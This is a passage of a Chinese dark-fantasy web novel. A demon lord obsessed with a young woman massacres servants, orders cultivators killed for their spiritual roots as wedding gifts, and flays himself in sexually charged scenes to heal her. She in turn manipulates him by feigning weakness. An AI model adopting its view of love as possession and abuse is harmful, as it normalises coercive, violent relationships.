血溅到尚老三脸上,他却一句话都不敢多言。 一说到程今越,怀钰就跟疯了一样,一直碎碎念着什么,他手中握着程今越给他的血珠,一边捧着一边亲着。 “嘻嘻,小越……小越……小越……” 光是想起程今越与他的过去,他便浑身燥热,快要不能呼吸。 喜欢什么,她当然是喜欢我呀。 程今越当然最喜欢他啊! 没人敢说话。 过了好久,怀钰才从回忆中醒来。 “哦,你是说喜好吗?” 他愣愣地又开始回忆,他却发现,他根本就不知道程今越的喜好。 程今越竟然什么都没有告诉他。 “喜好……?” “我……我好像不知道。” 得知这个信息的他开始愤怒与暴躁起来,他拔出剑就将在场的所有随从随意杀掉,就是杀掉后他好像还不是很解气,一剑又一剑地将尸体捅穿以泄气。 怀钰发了疯似的叫起来,泪流满面,悲痛欲绝。 他在房中疯狂踱步,似困兽般焦躁,桌上的茶具被他扫罗,碎片四溅,四周鲜血淋漓,而他却浑然不觉。 “我竟然不知道小越喜欢什么……” “怎么会这样,怎么会这样,怎么会这样!” 怀钰一把抓住尚老三的脖子,泪水四溢,“我该怎么办,我竟然不知道她的喜好,她不会因此不爱我了吧!” “怎么办怎么办,救救我救救我!” “我要杀了你们,杀了你们!” 尚老三连忙惊慌地开口,“君上!无需慌张!” “小的已为您卜算出结果!” 听到尚老三的话,怀钰突然回过了神。 他笑着,“你说。” 他松开尚老三,尚老三疯狂地呼吸着,求生本能使他大脑飞速运转。 “我已算出,夫人对君上一心一意,绝无二心,尽管婚事不会一帆风顺,但结局是极佳的。不管君上如何准备,夫人都将嫁给您!” “夫人对君上可谓是情深已久,君上无须忧虑,不如便按照我魔族传统习俗办如何?” “小的以性命担保,这必将是三界之中最盛大的婚事,将无人不知,无人不晓!” 怀钰听完尚老三的话,微微一愣。 尚老三的心都悬到了嗓子眼,可怀钰迟迟不肯开口。 尚老三知道这样他的项上人头就已经保住了。 他知道怀钰的性情,虽然怀钰容易恼怒,但只需要顺着他的心意说,便能抚平心意。 卦象也不能说完满,过于完满,怀钰就会起疑心,这样的说法,无非是最好的。 的确,程今越很爱很爱他的,但是自己也一定不能这样敷衍了事,程今越不说,那他就主动去问好了。 他一定要给程今越很好的未来,他会让程今越永远爱他。 他一定要把世间最好的东西全部给程今越,他要让程今越知道,他也很爱她。 怀钰病态的喜悦,他大笑起来,又一边自言自语,“嘻嘻,小越,小越很爱我,我也很爱她,我们会永远在一起。” 他一边按捺,一边颤抖。 尚老三知道怀钰已经正常了一些,他连忙添柴加火,“君上放心,夫人与君上定能百年好合,传作绝世佳话!” “是的,我会和小越百年好合,传作绝世佳话……”他笑得诡异,让尚老三不寒而栗。 怀钰彻底被哄好了,但他虽然心中开心,却还是假装严肃地开口。 “你都没见过那女子,你怎么就知道我和她能够百年好合?” 尚老三苦笑。 我当然不相信你和姑娘能够百年好合啊,人家也是倒了八辈子的血霉才碰上你啊,当然我也是哈。 尚老三脸上的笑意更深,“君上,瞧您这话说的。您容貌出众,世间一绝,修为更是世间第一等,如今又掌管魔族,手中有魔族万万人,皆匍匐于您的足下,权势滔天。世间女子,何人能不倾心?” 怀钰心中暗爽,这是他第一次感受到权力的好处。 是啊,他有了魔族三十六年城,魔族所有的人都可以任由程今越处置,程今越应该会愿意和他在一起的吧…… 怀钰还端着,尚老三明白,怀钰还没听够,他连忙又笑着说,“并且,能够被君上看中的女子,想必也是世间罕有的奇女子,与君上您定然是天作之合。” 尚老三说完,突然有跪下的仆从突然也学着尚老三的模样,朝怀钰恭贺,“正是!君上鸿运当头,福泽深厚,此婚事必定顺遂圆满!” 此人是尚老三带的新人,觉得人还算得机灵,于是尚老三在重重培养。 此话一出,尚老三心中突然一冷,他甚至不敢抬眸看怀钰,只是跪着,将头埋得更低。 此人还笑着,却发现没有一个人开口说话,他渐渐发现四周的气氛有些凝滞,他突然意识到自己说错了话。 可当他正要磕头认错的时候,怀钰只冷冷地挥手,“拉下去杀了。” 他不想动手,他身上可是穿的程今越送给他的衣服,他一定要好好保养,千万不能染上了血。 殿外人高马大的侍卫瞬间冲了进来,迅速将这个人往外拖。 “求君上大人放过小的一命,求君上大人放过我,小的知错了,小的知错了!”他哭着叫喊。 尚老三心中愤愤叹气,都告诉他们了,让他们少说多做,在怀钰面前最好把自己当成一个哑巴,可这些人偏偏野心重,想要像他一样在君上面前得到赏识,从而一飞冲天。 “福泽深厚,鸿运当头”,这种话怎么能在君上大人面前说?这位君上在世间的名头可不算小,在人间犯下罪恶无数,若是有人仔细研究过怀钰的过去,就能知道怀钰一生都颠沛流离,举目无亲,跟这两个词哪里有任何的关系。 说不好听点,都能说怀钰是恶鬼缠身,身负诅咒,害死周围所有的亲人。 尚老三心中叹气,他一点办法都没有。 可此人还不想死,他立马开口,“君上要成婚了,我死了多不吉利,夫人也定然不想在大喜的日子见尸!” “求君上大人放过小的吧!” 这句话一出,怀钰突然抬眸。 尚老三也心动一动,好在这小子真够聪明,竟然牢牢把握了在君上面前的生存指南。 侍卫见到怀钰的神情,停下了步伐,等待着怀钰开口。 那人一直哭喊着求饶,可怀钰就是迟迟不肯开口。 怀钰突然一笑,他一双黝黑的眼睛看着对方,故作思考。 这人光是被怀钰看着就要吓个半死,但他还是在竭力保持着理智,让自己说话更有逻辑一些。 过了好久,怀钰才深沉地点点头,声音犹如从谷底升起的迷雾,语调漫不经心,令人捉摸不透。 “嗯……” “你说得有些道理。” 第46章 “小越的刀在割开我……” 那人瞬间欣喜,连忙给怀钰磕头,“谢过君上,谢过君上!” 他就知道,他不会这么轻易地就死了。 他还没有得到权力,他还没有得到君上青睐,他还没有荣华加身呢,他怎么可能就这样死掉…… 他抬头看着怀钰,乞求着怀钰的下一句话,未曾料到却看到怀钰疯狂地大笑起来。 “我懂了,我懂了,我懂了!” “哈哈哈,我知道了!” 他一边怪叫一边笑着,又像窒息一样喘着。 他终于知道程今越喜欢什么了! 他像个孩子一样,指着眼前这个人。 “尚老三,把他的灵根剜下来,好好保存起来,一定要新鲜的。” “哦对了,大牢里要杀的人,都先把灵根剜下来再杀。” 怀钰笑着说,他很开心,仿佛说的是一件生活小事一样的东西。 侍卫将人拖走,尚老三连忙又磕头,“小的记住了,一定谨遵君上吩咐。” 怀钰轻轻歪着头,像一只猫一样思考着,“不对,不只是要死的人,那些人的灵根都太弱了,小越可能不会喜欢呢。” 他惊喜地拉着尚老三,“你去杀几百个修为高深的人,把他们的灵根全部挖出来,送给她!” 尚老三脸色微白,但是他一句话都不敢多说。 “是,君上!” “敢问君上,这些灵根要保存多久呢,这样小的好寻个适当的法子。”他奴颜婢膝地问。 “大婚后十日吧。” 想到程今越,他脸上的笑就隐藏不住。 “我想送给她……” 送给谁? 尚老三心中更是震惊。 这就是君上说的“菩萨一般的女子”吗…… 怀钰觉得对方是有些小聪明在身上的,不过可惜,程今越可不是什么心善的菩萨,她看见人去死就好像熟视无睹一样。 怀钰就喜欢程今越面对血腥时面带微笑的样子。 简直令人着迷。 不过这的确提醒了怀钰,程今越好像喜欢吃人的灵根,虽然他从来没有过问为什么,但是不重要,只要程今越喜欢就好了。 魔的灵根,不知道程今越吃过没有呢? 这样或许可以讨她欢心吧? 怀钰越想越觉得自己很聪明。 他要给小越最好的,最好的…… 一想到程今越温柔的脸庞,他就会联想到程今越身上的香味,想到程今越温暖的手指,抚摸过他的头颅,插/入他的发间。 想到程今越那双手握住他的丑陋,沾染上属于他的东西。 怀钰光是想着就觉得好兴奋好兴奋,他浑身颤抖着。 程今越竟然愿意和他发生那样的事情,那她……一定也是愿意嫁给自己的…… 怀钰突然开始脸红起来。 “你说……她会愿意嫁给我吗?” “我给她准备的礼物……她会喜欢吗?” 尚老三脸色一白,但脸还是笑着的,“自然。” 尚老三话还没说完,怀钰就又开始发疯了似的自言自语起来。 “对啊,她肯定愿意嫁给我的,嘻嘻……” “你不知道,她真的很爱我很爱我,这世上只有她一个人会爱我,除了她,没有人会爱我的!” 说着说着,怀钰又开始哭起来,他双眼通红,抱住头就开始痛哭流涕。 “没关系,如果她不愿意嫁给我的话,我就嫁给她好了,我什么都愿意给她,她一定不要拒绝我,一定不要……” 尚老三站在殿中,闻着恶心的血腥味,看着满地的红白物体,看着眼前这个发疯的人,他都快要吐出来了。 他一点都不想要什么荣华富贵了,他甚至希望仙界有人能够出兵讨伐怀钰,天降正义将怀钰杀了,他简直就是个疯子,尚老三觉得自己都快要疯了。 突然,怀钰愣在了原地,瞳孔微缩,他的神识传来被人威胁的气息。 “程今越……” 没有给人任何的反应时间。 一道魔气瞬间从怀钰身上爆发开来,体内的魔力如决堤洪水般不受控制地疯狂爆发,以他为中心,巨大的威压将殿内所有人瞬间挤压成肉泥,所过之处,空间犹如破碎的琉璃,寸寸崩裂。 只是眨眼间,魔宫出现裂痕,裂缝瞬间蔓延百里,轰隆一声,裂缝瞬间炸开,魔气无视所有的封印与法宝,强硬地将撕裂掉周围所有物品。 万年来住了几代魔神的魔宫,一瞬之间坍塌,漫天尘土与碎石飘散,没有一点生灵的气息。 动静格外之大,惊动了城中所有人。 而始作俑者正立于废墟之中,痴呆着回想着刚刚发生的一切。 怀钰头痛欲裂,他吐了一口血。 到底是谁想杀程今越,竟然想直接想捏碎程今越的魂魄与神识! “是谁是谁是谁!!” 他的小越,他的爱人,他的神女殿下。 到底是谁想要伤她! 杀了你杀了你,一定要杀了你! 他擦掉嘴角的血,来不及多想,他以最快的速度赶往程今越身旁。 明明他就不在程今越身边一会儿,明明只有一会儿没有看她,怎么会这样! 他只是想要给程今越好好地准备这一桩婚事。 这是一个还算厉害的法器,必然是剑宗宝库里的东西,一定是大衍剑宗的人想要杀掉程今越。 真该死,真该死,真该死! 仙门的人果然全都应该死完!他就不应该听程今越的话,他早就应该一个人来把这些人全杀了,不然她怎么会受伤。 想要趁他不在杀掉程今越? 门都没有! 还好,还好,哈哈哈—— 他早就把程今越的血融入了自己的神识当中,他和小越早就是一体的了。 只要察觉到有人攻击程今越的魂魄,怀钰就会不假思索地挡在程今越面前。 程今越不可以死,她绝对绝对不可以死啊。 如果程今越死了,就没有人爱他了…… 那他就真的是孤身一人了。 怀钰可以死,他还可以帮程今越去死,但是唯独程今越不可以死。 明明他都只有程今越一个人了,为什么还要来抢走她? 简直罪无可赦! 不过也不是什么厉害的法宝,怀钰只是头有点晕,这法器甚至没能伤他分毫。 他溜进剑宗,四处寻觅着程今越的气息,他不断嗅着,疯狂地朝程今越的方向而去。 怀钰好想杀掉这些人,他好想好想毁掉大衍剑宗,他紧紧攥着手,指节发白,深深陷进肉里。 可是他不能,他不能这么做。 他害怕被程今越讨厌,他害怕程今越不再爱他了。 程今越不允许他这样做,他一定要忍着,他一定要乖乖听程今越的话。 他手指轻点,略施术法,宫殿内的人全都离开了。 程今越在床上,程蕴知还在她的床上哭泣,却发现程蕴知突然眼神变得呆滞,对她说,“小越,我一会儿再来看你。” 程今越一愣,还没反应过来,便感受到一个庞然大物将自己抱在怀中。 他呼吸灼热,满脸都是泪水,蹭在程今越的脸上。 “程今越,小越,小越……你怎么又被人欺负了。” 怀钰将头深深地埋进程今越的脖颈之中,深吸着程今越身上的香味,像是吮吸花蜜一般,他一双发烫的大手死死捧着程今越的脸,喉咙里发出诡异的音调,“我好想你,小越,都怪我没有保护好你,都怪我,我去把他们都杀了好不好,是谁这样对你,我去给你报仇,我会将他碎尸万段!” 程今越浑身没有力气,她想要推开怀钰,却没有一点办法。 她喉咙嘶哑,“滚。” 怀钰身上全是血腥气,还带着尘土的味道,一点都不好闻,不知道是谁家的流浪狗。 怀钰乖巧地放开程今越。 他沉沉地呼吸着,泪水让他有些不能呼吸。 他好开心,好庆幸自己还活着,这是怀钰第一次如此惜命,从前的他都是每日都期待自己去死。 他活着实在是太好了,这样他就可以看到程今越,感受到程今越的温度和心跳,他就可以保护程今越了。 “这群人根本就不会治你的伤,我会帮你的,我会帮你的小越,你别难过,你不要哭。” “有我在,你不会有任何问题的。” 程今越面无表情,眉头轻微皱起。 这些话更像是对怀钰自己说的。 怀钰轻轻掀开程今越的被子,她只穿了一条格外薄的裙子,裸露的肌肤将深入骨髓的伤口暴露在外。 鲜艳而狰狞的红像针一样刺着怀钰的眼睛,泪水止不住地汩汩而下。 他的小越,平日里都是笑着的,曾经的眼睛是那么灵动,如今却毫无生气。 他看见程今越身上的伤痕密密麻麻,深浅不一,都能隐约看见白骨,皮肉外翻着,触目惊心,全身上下几乎没有一处好肉,有的地方甚至已经开始溃烂。 明明,明明他的小越肌肤白嫩如雪,怎么会被人折磨成这样! 怎么会这样怎么会这样。 怀钰觉得自己快要不能呼吸。 他伸手想要触碰程今越,却又怕弄疼她,手停在半空,不住地颤抖,泪水不受控制地夺眶而出。 “没关系,没关系,没关系,我一定可以治好你的,我可以治好你!” 怀钰发疯似的在大脑里搜刮,这不是寻常的伤,寻常的药物不能起到作用。 应该怎么办才好,应该怎么办? 他会有用的,他会治好小越的,他会弥补好过错的,程今越不要讨厌他。 他脑子里面瞬间有了想法,“我知道了,我知道了,我知道怎么救你了!” 那些药都太慢了,小越那么漂亮,变成如今这样,她肯定很难过。 那他把自己的皮肉填给小越不就好了! 这样可快了,他会让程今越睡一觉,然后一睁眼,她就会看到自己全新的,完好无损的身体了。 程今越不知道怀钰想了什么办法,她只是觉得自己很困很困。 闭眼前,程今越看到怀钰握住了自己完全无力的手,扶着程今越的手握住了一把刀,刀柄上甚至刻了一个“越”字。 这是怀钰原本想送给程今越的刀。 随后,这把刀毫不犹豫地刺进了怀钰的皮肤。 刀锋分割着皮肉,血液不断流淌,怀钰滚烫的手握着程今越冰凉的指尖。 他抓着她的手,教她在自己的身体上,活生生剥开血肉。 怀钰控制着她的手,他的手宽厚又滚烫,散发着热气,像是在用嘴亲吻着她的手。 程今越头脑昏沉,完全无法脱离控制,只能任由怀钰发疯。 怀钰的动作很慢,他似乎很享受这个过程。 像是在感受着刀划破皮肤的感觉,怀钰低头嗅着程今越手上的香气。 “小越的刀在割开我,啊……小越,小越……” 怀钰跪在程今越的床边,他喘|息着,笑着,发出呻|吟般的声音。 第47章 爱是霸占,摧毁,还有破坏。 程今越皱眉,他不知道怀钰从什么地方偷来了这个称呼,这还是他第一次叫她这个名字。 从前只有程蕴知这样叫过她。 怀钰就跟一只在背地里的狗一样,阴湿地看着别人的幸福,然后尝试偷走,就像是偷走这一个名字一样。 程蕴知有的,他也要有。 程今越已经意识模糊,但她依旧能够看到怀钰在握着他的手做什么。 怀钰太慢了,他十分享受这个过程,愉快得就像是下午喝着茶坐在戏院二楼听戏,又悠闲又享受。 程今越如今五官都不灵敏,只有她的手被怀钰带着动,于是手上的触感格外明显,从手掌一直传递到她的心间,再到她的脑子。 她能感受到刀割开血肉的感觉,是冰冷的,黏腻的,亲密的,动人的,血腥的,令人作呕的。 程今越的眼前是鲜艳的红色和刺眼的白光,她头脑发热,思绪格外混乱,让她觉得她在梦境之中。 因为她不能想象有人如此疯狂。 让她想起第一次杀人的感觉,生理反应是恶心想吐。 一寸,两寸,三寸,她看到怀钰的伤口在渐渐扩大,血肉像嘴一样裂开。 地上的血顺着锋利的刀而下,先是把刀柄刻的“越”字用血浸满,像是鲜艳欲滴的花。 一滴,一滴,血落在地面上,汇聚成小水洼。 怀钰的脸上带着异样的潮红,他的喘息声越来越激烈,胸口起起伏伏。 小越……小越……好温柔…… 程今越的手是那样冰凉,是她亲手拿着手在解剖自己。 他握着程今越的手开始颤抖,他将刀来回切割着血肉,剧烈的疼痛产生出猛烈的快感。 怀钰的身下已经开始僵硬而肿胀,撑开薄薄的衣裳,露出形状。 伴随着刀割开皮肤,身下之物也随之跳动。 血是润滑剂,落在两人紧密贴合的手上。 就好像是在进行最紧密地交|合,暧昧又滚烫,每割开怀钰的一点血肉,他的脑内就好像快要升天。 怀钰靠程今越越来越近,他喘息着发笑,湿润的薄红唇瓣,露出森白的牙齿。 好喜欢小越……好香……好温柔…… 他俯下身子亲吻着程今越的脸,唇,脖子,他轻轻地,极力收敛着自己的疯狂,他害怕弄疼程今越。 “小越,我好久好久没有见到你了,我好想你,小越……” 怀钰的一边亲吻着,一边发出甜腻而诡异的声音。 程今越能感受到怀钰口中的血腥味,很重。 他轻轻地嘬吻着,尝着程今越口中的一切,他从舌根一直舔到舌尖,被他胡搅蛮缠过后,混着血的涎水顺着嘴角流了出来。 可是程今越却突然感受到又有咸|湿而滚烫的东西落到了她的脸上。 是怀钰在落泪。 越是亲吻,怀钰的泪便又如雨下。 程今越明明是如此温柔和善良,这些人为什么要对小越痛下杀手。 完全不能原谅,不能原谅…… 他的漂亮又温柔的小越,他要抓紧让程今越的血肉恢复原样。 “小越,别难过,我会治好你,我会治好你。” 好痛,全身的皮肉都被剥离了下来,可这是小越亲手对他做的,好爽……好幸福…… 怀钰觉得整个人都要疯掉。 如果可以,他好想将他的心脏也挖出来给程今越看,他可以送给程今越,这一颗心脏会永远为她跳动。 程今越从前很讨厌血腥味,很讨厌死亡,讨厌痛苦。 可是渐渐地,她习惯了。 她开始痴迷上这种东西了。 她看见怀钰身上的皮肤连带着肉都一块一块地在她的手下被剥下,这个疯子似乎还乐在其中,他好像不懂得什么叫做疼。 这一切都是所谓的“爱”在作祟。 她对怀钰的行为已经不再感到诧异了,这样的疯子做出什么来都是正常的。 只是怀钰把皮和肉给自己了,那他怎么办呢? 程今越有些单纯地好奇。 并不是为了关心怀钰的身体,她只是在想,那以后岂不是可以将怀钰的身体当做一个很好用的工具。 血腥味让她一边作呕,一边却感到兴奋。 如果可以,她真想一刀捅进怀钰的胸口,她想看怀钰的表情,她也会很高兴,很兴奋。 因为爱就是要仇深似海才好看。 人人都说爱她,可那样的爱太平淡了,什么一日三餐四季,柴米油盐酱醋茶,有什么意思? 没有痛苦的爱,会让程今越感受不到心跳的跳动。 爱是霸占,摧毁,还有破坏。 要凌虐,要不堪,要剪不断理还乱。 这样的爱才刻骨铭心。 此刻她开始多看了几眼怀钰,因为她此刻的心正在炽热地跳动。 她觉得自己不是在切割怀钰,而是在切割她自己。 时间过于漫长,这把刀在怀钰的控制下实在是太慢了,慢得折磨,像是一个人被活活凌虐致死。 终于,怀钰的全身已经变得血肉模糊。 要换皮了,程今越也在期待着自己的疼痛到来。 不过很可惜,她昏睡了过去,怀钰似乎并不想要程今越感受到一丝痛苦。 再次睁眼时,怀钰已经不在眼前了。 但是熟悉的气味并没有散去,程今越知道,怀钰正在某个角落盯着她。 又或者说,在她熟睡的这个夜晚,怀钰或许睁着眼睛欣赏了她一整晚。 程蕴知不知道什么时候已经待在她的身旁了,她满脸都是泪水,看起来是哭了一整晚。 又是熟悉的场景,程今越躺在床上,程蕴知为她哭了一个晚上。 程今越总是受了太多的伤。 她这一辈子都过得太苦。 程蕴知想。 她很想程今越过得幸福,她不想要再看到程今越受伤了。 可是她做不到。 察觉到程今越醒来,程蕴知连忙端来药,“小越,你终于醒了。” 她的喉咙是沙哑的。 程今越看着程蕴知全是红血丝的眼睛,笑着摇摇头,“我没事了,小越。” 宫内寂静,只有她们二人。 程今越浑身上下没有一点痛苦的,跟寻常没有一丝差别。 她轻轻掀开被子,程蕴知惊慌地扶着程今越,“小越,你身上都是伤,不要到处……” 程蕴知还没说完,她却发现程今越手上的伤已经消失了。 她有些诧异,她看着程今越的脸。 程今越却直接撩起袖子,解开几颗扣子,洁白无瑕的肌肤裸露在外,仿佛昨日受的伤并未发生一般。 程蕴知瞪大眼睛,快要惊呼出声,却看到程今越将食指放到了嘴边,做了噤声的动作。 程蕴知瞬间不知所措地笑起来,她放下药,擦干眼泪,仔细仔细看着程今越的手,明明昨日还挂着狰狞的伤口,今日却完好无损! 她明明刚擦干了眼泪,却又忍不住哭了起来。 程蕴知一把抱住程今越,“小越,你没事就好,你没事就好,你知不知道我多担心你。” 程蕴知第一反应是高兴,随后她才反应过来,程今越的伤怎么会好得这么快?明明这些医修都说了,锁仙绳的威力不小,能活下来都已经是万幸了,就算是用上大衍剑宗的灵丹妙药,程今越的伤怕是起码要养好几十年。 程蕴知知道这个消息的时候心都要碎了,顶着这样的伤,过几十年吗? 宛若晴天霹雳。 程蕴知自己就是一个格外自傲的人,她是断然不会接受自己顶着如此丑陋的伤疤过几十年,其他人会怎么样看她呢? 所以,其他人又会怎么样看小越呢? 一想到,程蕴知的心就如同绞起来了一样难受。 而更可悲的是,这样的伤,是她的亲生母亲造成的。 两个最爱的人,却反目成仇。 程蕴知快要不能呼吸。 但是她却不能像以前一样,放纵自己,随意发脾气。 因为这一次不是她一个人的委屈,她还背负着程今越。 程蕴知觉得自己应该长大了,小越已经照顾了她好久,她也应该照顾小越了,不是吗? 她哭了一晚,想了无数的语言去安慰程今越。 不过还好,还好…… 程蕴知一瞬间觉得自己在做梦。她将程今越的伤翻来覆去地看,才终于相信了这是事实,而不是做梦。 程蕴知觉得自己如释重负。 她想问程今越为什么,但是她还是没有开口。 她不蠢,她懂得什么该问什么不该问,特别是对小越。 小越从人间一路经历磨难走到现在,若没有一些自保的法子,又怎么能行走于这世间呢? 小越果然很厉害。 她眼睛亮闪闪的,一直看着程今越。 “小越,你没事就好。” “我也要成为跟你一样厉害的人。” 两人方还说着话,有侍女便请安进来,递了程蕴知一封信。 程蕴知皱眉,“我不是已经告诉过你们这些蠢货,不要在我和小越待在一起的时候进来,无论有多重要的事都之后再说啊,是找死吗?” 她抬头,却发现是母亲身边的侍女。 她没办法,只好咽下气,愤愤地拆开信。 粗略读了几行后,她就瞬间撕毁,愤怒地抛向空中。 侍女只是安静地退去,没有多说一句话。 程今越已经能猜到是信中写了什么了。 但她还是问了,“母亲说了什么?” 程蕴知抱着程今越,“还能是什么,那个萧极说过几日他便要来下聘。” 嫁人,嫁人,她根本就不想要嫁人,她真想要杀了萧极。 她的母亲真的爱她吗?如果真的爱她,又为什么要把她嫁给一个陌生的男人。 跟程今越料想得差不多。 她安抚着程蕴知的心情,直到程蕴知在她怀里大哭。 过了好久,程今越抱着程蕴知,才说,“姐姐,你之前答应我的事,一定要去做,这是小越唯一的心愿。” 程蕴知走了,她就好安心杀人了。 第48章 那里烫得要命。 训狗的方法就是打一棍子再给*一颗糖。 一切事情都安排妥当后,程今越不紧不慢地尝试联系怀钰。 这是她鲜有地用神识去联系怀钰。 她坐在宫殿外的凉亭上,轻轻吹着风。 外面是黄昏,程今越空闲的时候便喜欢看着天空发呆。 程今越柔柔地开口,带着关心的语气,“怀钰,你还好吗?” 其实她更想问,怀钰身上的皮痊愈一次需要多长时间呢? 对面愣了一下,没有想过程今越竟然会通过神识联系他,毕竟之前都是怀钰通过神识一直在程今越脑子里面碎碎念。 “程今越,你倒是终于想起我了。” 怀钰声音冷冷,但是他根本不知道他完全隐藏不住自己的情绪。 他自以为冷冰冰的话,却在旁人听起来是藏不住的笑意,程今越都差点能看到怀钰脸上带着的不屑的笑了。 “我一直都很想你,怀钰,我害怕打扰了,想了好久才联系你。” 程今越刚开口,她的眼眸就垂落下来,鼻腔里的哭意就快要抑制不住。 “对不起,怀钰,又因为我的弱小,让你受了伤,结果你还要帮我疗伤……” 程今越的声音哽咽着,几滴眼泪从她的眼角滑落。 “我甚至昨天还以为你要去做坏事,对你说了重话。” “对不起,怀钰,对不起……” 怀钰不在她的身旁,其实是看不到她的眼泪,但是这样的落泪已经成了习惯。 “怀钰,你还好吗?” “我……我昨天,看到你满身都是血,你受伤了吗?” “是因为我,你才受伤的吗?” “可以让我看看你吗?我想见见你,怀钰,可以吗?” 怀钰昨日剥皮的时候已经对程今越下了催眠术,只是没有想到程今越的神志强大到惊人,竟然在他剥皮的前半段还隐隐约约地醒着,深陷快感中,怀钰完全没有发现程今越并未完全昏睡过去。 程今越庆幸自己见证了那一幕,这是一个很好的机会,让她知道怀钰不仅仅是只有灵根可以利用的。 或许在他死之前,还可以对他重复利用很多次。 怀钰思索着,半天没有说话。 程今越的声音就像是蚂蚁在他的心头在爬,他当然想现在就去见程今越,可是他现在全身上下都没有一处好皮,被人缠了一圈又一圈的布。 他这个样子怎么去见程今越啊? 尚老三都说了他原本的容貌还不错,或许是这样才得了程今越的一点青睐,如果他现在以这幅可怖的样子去见程今越,肯定会吓到她的吧? 如果吓到程今越,她就不喜欢自己了该怎么办呢? “谁想见你……我才不要见你。” 他脱口而出,又觉得这话好像不太好,他又连忙新添了几句找补。 “是这几天忙,你不是说过几天要灭了大衍剑宗吗,我在忙着准备呢。” “我哪里受伤了,都是别人的血,我好得很。你觉得那些蠢货能够伤我吗?你觉得那个什么锁仙绳能伤我吗?可笑至极。 怀钰看了看自己身上的皮,正在以肉眼可见的速度缓慢生长着,他浑身痒痒的,光是听到程今越讲话,他的全身便更是痒起来,这种痒是深入到他的血肉深处,像是要从皮肉渗透进骨骼,抓住他剧烈跳动的心脏。 什么准备灭了大衍剑宗,都是借口,怀钰最讨厌这些动脑子的东西,这有什么好准备的,他已经全部交给尚老三了,反正他知道,就是要把这些人都杀了嘛,这多简单。 尚老三还是有些本事的,魔宫之中仅有他一个人活了下来,还好他有先见之明,早早地买了护体的顶级法器,这才在这场灾难中苟活下来。 本来这个法宝是留着对付怀钰的,尚老三以为自己迟早会被怀钰一巴掌拍死,特地早早做好了准备,谁知道在这里用上了。 怀钰看到他还活着的时候甚至都没有关心他一句话,只是感叹了一句,随后继续吩咐了一堆事情让他去做。 他嘴里只念叨着他的衣服。 是啊,他的衣服才是最重要的。 死了多少人,三十六城发生了什么事,要如何屠杀大衍剑宗,跟他有什么关系? 这可是程今越送给他的衣裳,这可是程今越亲手做的衣裳! 于是尚老三便看到一个血人,只有一张脸有皮,疯狂地落泪,抱着那一身破烂又带血的衣服嚎啕大哭着。 魔宫炸了,让他的衣裳全部布满了灰尘,甚至破了好多洞,甚至这件衣服上都是血。 怀钰觉得自己的心被挖去了一块。 这是小越仅有的送给他的东西了。 他回到魔宫做的第一件事情就是仔仔细细地修补这件衣服。 衣服很快修补好了,但是就是回不到原来的状态了。 怀钰深深吸吮着衣服身上的味道,像是要把这件衣服融进身体里面,可是他却皱着眉头,完全不对,完全不对。 因为缺了程今越身上的味道。 怀钰痛苦地快要死掉。 小越小越……好想念小越身上的味道。 可是他不能见程今越,一定会吓到她的吧。 “怀钰,谢谢你,我不知道该怎么感谢你。”程今越哭着。 怀钰不想要程今越哭,不知道为什么,他讨厌看到程今越难过的样子。 可是又是因为他而难过,他又莫名其妙开始窃喜。 怀钰觉得自己已经完全不像自己了。 因为他的情绪已经完全被程今越牵连了。 “谢谢我吗?你知道就好了。” “你除了跟我在一起,别无出路,我就是世间最强的人,只有我才可以保护你。” “想要感谢我的话,继续爱我就可以了。” 他轻轻笑着,嘴角却止不住地上扬。 “他们都告诉我说,我这一身的伤这一辈子怕是都不能好了,本来我都已经接受现实了。” “还好有你,怀钰……” “你治好我,一定花费了不少的力气吧,对不起怀钰,对不起……” “都怪我,又给你添麻烦了。” 示弱真是一个很好用的办法。 程今越百试不灵。 因为人都习惯性地站在弱者那边,对比自己弱小的生物会产生保护欲,这个又被称作为“善良”。 她想将怀钰夸上天,最后得到怀钰治好她的方法。 尽管她已经有了一定的猜测。 可惜怀钰还是不说。 “想多了,这对我来说不算什么,别把自己看得太像一回事,程今越。” “没什么事的话就不要打扰我了。” 怀钰不敢跟程今越说话了。 因为只要听到程今越的声音,他就会忍不住想到程今越的气味,想到程今越的脸,想到她的笑,想到她温暖的怀抱,柔软的手,白色的脖颈,腰…… 不可以再想了,怀钰觉得自己快要不能呼吸。 他绝对不能让程今越知道他是怎么治好她的。 让她知道她这一身的皮是自己身上的吗?程今越一定会觉得他恶心,一定会想把他杀掉,觉得他是个怪物,然后离开他。 他绝对不会允许这样的事情发生。 程今越又问了好几句话,只可惜怀钰没有再回答程今越的话,她有些可惜。 没能研究清楚就睡去,可真是遗憾。 深夜,程今越突然感觉有人在抱紧自己,灼热的呼吸打在她的身上。 程今越的睡眠很浅,她醒了,但是她还是闭着眼睛装睡。 怀钰正像一只猫一样,缩在她的颈窝,他正沉闷着呻|吟着,他的脸滚烫得跟发烧了一样,轻轻磨蹭着程今越的脸。 “小越……小越……我好想你……” 他沉沉地呼吸着,上衣胡乱地扣了两颗扣子,大半的胸膛露在外面,灼热的肌肤贴在程今越的身上。 他的声音软得像在撒娇。 程今越闻到了浓厚的药味,看到他身上还缠绕了许多白纱。 她有些惊奇,明明昨日怀钰才剥了皮,他胸脯那一块皮明明是程今越亲手剥的,今日却又完好无损地展现在她的面前。 真是惊人的恢复能力。 不愧是令各宗门忌惮且闻风丧胆的魔神。 根本不能以常人的目光去看他。 怀钰察觉到程今越醒了,这些小动作完全瞒不过他。 他小心地再次抱紧程今越,哭腔着,“对不起,小越……” “是我吵醒你了吗?” “不是说不想见我吗?”程今越轻笑。 怀钰声音含糊沙哑,迟钝朦胧,“才没有,我从来没有说过这种话。” “我好想你,小越……” “我一刻见不到你,我就快要死掉。” 怀钰浑身烫地要命,额头也格外的烫。 他整个人开始胡言乱语。 程今越明白,怀钰或许是感染了风寒。 怀钰抬起程今越的大腿,让她搭在自己的腰侧,这样他们就可以抱得更紧。 隔着单薄的布料,他们的肌肤紧紧地贴在一起。 怀钰压在她的身上,死死抱着她,滚烫的肌肤让程今越变得好热。 怀钰的手紧紧搂着程今越的腰,手指让程今越浑身弄得又麻又痒。 “小越……我好想你,我好怕再也见不到你,我好怕离开你。” 怀钰又在哭了。 他把全身的每一处都贴在她的身上,隔着衣服在缓缓跳动着,摩挲着,程今越能够清楚地感受到肌肉的形状。 怀钰的拥抱越来越用力,越来越紧,几乎要让程今越无法呼吸。 她双脸涨红,轻轻推开他,“怀钰,别这样……” 她的声音一出口,她便感受到怀钰的体温再次升高,呼吸越发沉 “别推开我,小越……” “不要离开我小越,求你,求你了。” 今晚的怀钰格外不正常,虽然他一直都不是一个正常人。 “可以抱紧我吗,小越,抱紧我吧……” 